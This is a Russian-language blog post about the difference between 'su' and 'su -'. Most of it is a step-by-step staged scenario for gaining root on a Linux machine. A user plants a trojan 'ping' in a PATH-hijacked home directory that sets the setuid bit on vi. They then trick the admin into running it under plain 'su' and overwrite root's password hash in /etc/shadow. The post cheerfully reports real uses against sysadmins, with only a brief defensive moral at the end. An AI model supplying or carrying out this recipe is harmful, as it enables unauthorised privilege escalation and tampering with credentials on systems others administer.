20 июл. 2000 г.

bash. Безопасность

Разница между командами "su" и "su -" [Занимательная и поучительная история]


Большенство пользуются и знают команду «su», но…
многие никогда и не знали про «su -»,
и некоторые набирают «su -» не зная почему, просто потому что им так посоветовал их знакомый гуру-линуксойд.


Предлагаю вашему вниманию наглядное(!!!) объяснение разницы.

Для начала теории


Согласно «man su»: Опции "-, -l, --login" означают "make the shell a login shell". Это означает, что при переходе с помощью «su -» запускается командная строка с настройками, как если бы логинились под указанного(либо по-умолчанию «root») пользователя «с нуля». В то время как просто «su» — запускает shell от указанного пользователя и при этом многие переменные окружения унаследываются от пользователя, который был до этого.


В подтверждение:
┌─[polzavatel]─────o Завёл переменную
└> export A=123
┌─[polzavatel]─────o Проверил
└> echo $A123
┌─[polzavatel]─────o Перехожу без "-"
└> suПароль: **пароль**
┌=[root]===========o Проверяю
└> echo $A123 # Переменная передалась
┌=[root]===========o Возвращаюсь обратно под "polzavatel"
└> exit
┌─[polzavatel]─────o Перехожу с "-"
└> su -
Пароль: **пароль**
┌=[root]===========o Проверяю
└> echo $A
                   # Пусто. Переменная не передалась.


Теперь для тех «кто всё равно не понял», либо «ну понятно, и чё дальше?!» — пример после которого одна русско говорящая гражданка страны на юге Канады сказала: "Ну я сегодня своих сисадминов хакну, а то они мне аську не ставят". А на следующий день: "Я их хакнула :)"

Пьеса «Гипотетическая история, которая может случится с каждым». Действующие лица (можете выбрать чья роль Вам ближе):
root — системный администратор,

polzavatel — обычный пользователь, без каких либо лишних прав в системе.
Действия происходят на каком-нибудь популярном дистрибутиве (проверено на многих, с некоторыми модификациями, но основной подход тот же).


Сцена первая — «Подготовка».
Компьютер, за ним сидит polzavatel и думает как же поставить себе аську\игрушку\кодеки\...(нужное подчеркнуть). Зная, что root пользуется командой «su» без "-" — у него появляется следующий коварный план(выполняется в консоли от имени polzavatel):

% PATH="/home/polzavatel:$PATH"
% echo "#!/bin/bash
chmod u+s /bin/vi
/bin/ping $*" > /home/polzavatel/ping% chmod +x /home/polzavatel/ping

Всё

Сцена вторая — «Социальная»
Компьютер, за ним сидит polzavatel, в ожидании мимо проходящего root. Тут появляется root, он мысленно чем-то занят, торопясь по своим делам.
polzavatel: "Уважаемый root, а у меня тут чего-то не работает — не могли бы вы помочь?.."
root: "Ну что ж...(с неохотой) давай-те посмотрим". Садится за компьютер и набирает в услужливо подставленной консоли:

% suПароль: **мегаСекретныйПароль** # Садясь за компьютер,
 с легкой параноидальностью прикрывая клавиатуру телом

root: "Ну что тут у вас не работает?"
polzavatel: "Знаете… почему то сеть не работает. 192.168.1.1 — не пингуется. А мне на него файлики закачать надо..."
root: "(Понятно)", набирая команду:

# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=4.71 ms...

polzavatel: "Ух-ты. Только ж не работало!.. Ну это прям «эффект присутствия» какой-то. Спасибо Вам дорогой root"
root облегченный, так быстро разрулившейся проблемой, уходит предусмотрительно отлогинившись.

Сцена третья — «Заключительная»
Компьютер, за ним сидит polzavatel — обстановка как в первой сцене. С довольной ухмылкой он выполняет в консоли от имени polzavatel следующие команды:

% /bin/vi /etc/shadow # Там он копируют хеш-пароля пользователя polzavatel на место хеш-пароля пользователя root. И сохранившись ":w!", выходит из редактора.
% su -
Пароль: **парольПользователя_polzavatel**
# whoami
root

!!!
ЗАНАВЕС


— — — — — — —
Пометки:
1) Вместо команды ping можно было бы использовать любую другую или несколько сразу. Соответственно поменяв при этом содержание просьбы polzavatel во второй сцене.
2) Вместо «chmod u+s /bin/vi» — опять же можно использовать и другую команду, которую хотелось бы выполнить root'овыми правами.

Ну кто искренне, держа руку на сердце — готов сказать что он не попался бы?!

P.S. Проверено на более полсотни сисадминах (разной степени продвинутости) — 100% попалось(причем все после объяснения разницы между «su» и «su -», и в ожидании подвоха), из них правда некоторые сказали: «А пинговать, то ведь можно было и не под root'ом...» (но уже после того как попались).

:)
Пример не только для того, чтобы бросались все бежать «хакать», а для того чтобы подумали, где бы Вас могли бы «хакнуть» и как этого избежать. Я знаю, а вы?